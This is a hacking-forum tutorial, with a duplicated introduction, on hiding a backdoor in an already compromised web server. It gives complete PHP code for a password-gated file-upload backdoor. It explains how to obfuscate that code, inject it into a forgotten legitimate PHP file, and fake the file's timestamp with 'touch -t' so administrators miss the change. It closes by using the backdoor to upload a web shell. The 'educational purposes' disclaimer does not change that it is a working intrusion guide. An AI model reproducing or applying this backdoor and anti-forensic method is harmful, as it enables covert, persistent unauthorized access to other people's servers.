For educational purposes only.
I felt like writing a tutorial today In this tutorial I will share with you my method to hide a Backdoor in a server.
What do we need?
1. A Shelled Webserver (skiddies , learn to do it !)
2. This tutorial
3. A Php script attached to this tutorial
4. A bite of Intelligence
5. Staying Anonymous use a VPN or SSH Tunnel...
I felt like writing a tutorial today In this tutorial I will share with you my method to hide a Backdoor in a server.
What do we need?
1. A Shelled Webserver (skiddies , learn to do it !)
2. This tutorial
3. A Php script attached to this tutorial
4. A bite of Intelligence
5. Staying Anonymous use a VPN or SSH Tunnel...
Leh go !
STEP 1 : Finding the target
Easy step , Well you just need to find a forgotten php file(wasn't changed a while ago)
In my case i found a target (common.php) you have to remember the timestamp , you will use it afterwards...
[img]http://www4.picturepush.com/photo/a/7575382/640/7575382.jpg[/img]
STEP 2 : Preparing the php script
Here is the script i used
PHP Code
<?php
if (isset ($_GET["passwd"]) and md5($_GET["passwd"])=="ad3dd2ebd28e5d7f81ec326fbdf1fa7b")
{
?>
<body [b]onload=[/b]"command.focus()">
<form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="900000" />
upload: <input name="uploaded" type="file" /><br />
<input type="submit" value="Upload" />
</form>
</body>
<?php
}
$target_path = "./";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);
if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo ";)";
}
?>You need to modify md5($_GET["passwd"])=="ad3dd2ebd28e5d7f81ec326fbdf1fa7b"
with a md5 password ( you know how to do it , don't you ?)
now just go to "http://tools.th3-0utl4ws.com/php-crypt/enc.php" or somewhere else and encrypt your script
[img]http://www5.picturepush.com/photo/a/7575433/640/7575433.jpg[/img]
and yeah it's a 1kB code
STEP 3 : Inject the Backdoor
This step is tricky , you need to find some code to delete comments
for example... to save some space.
[img]http://www3.picturepush.com/photo/a/7575431/640/7575431.jpg[/img]
delete that code and inject your 1Kb backdoor
[img]http://www4.picturepush.com/photo/a/7575467/640/7575467.jpg[/img]
Done ? now Save everything and back to your console
STEP 4 : Change the timestamp ;)
Back to your console now write this down
Code
touch -t yearmonthdayhourminute filenameCode
touch -t 201108010124 Common.phpIt worked right ;) no admin could recognize the change ;)
STEP 5 : Test it out ;)
now just write down the path to the php file and type the url on your browser and add a ?passwd=yourpassword
[img]http://www4.picturepush.com/photo/a/7575557/640/7575557.jpg[/img]
STEP 6 : Enjoy it and get back to it to upload the shell ;)
Test it out to see if you can upload your shell...
and enjoy your hidden Backdoor...
Script Download Link
Original
Encrypted
Please give some feedback to keep this thread alive ;)
Cheers.



![[Image: s2LT8w1.png]](https://i.imgur.com/s2LT8w1.png)
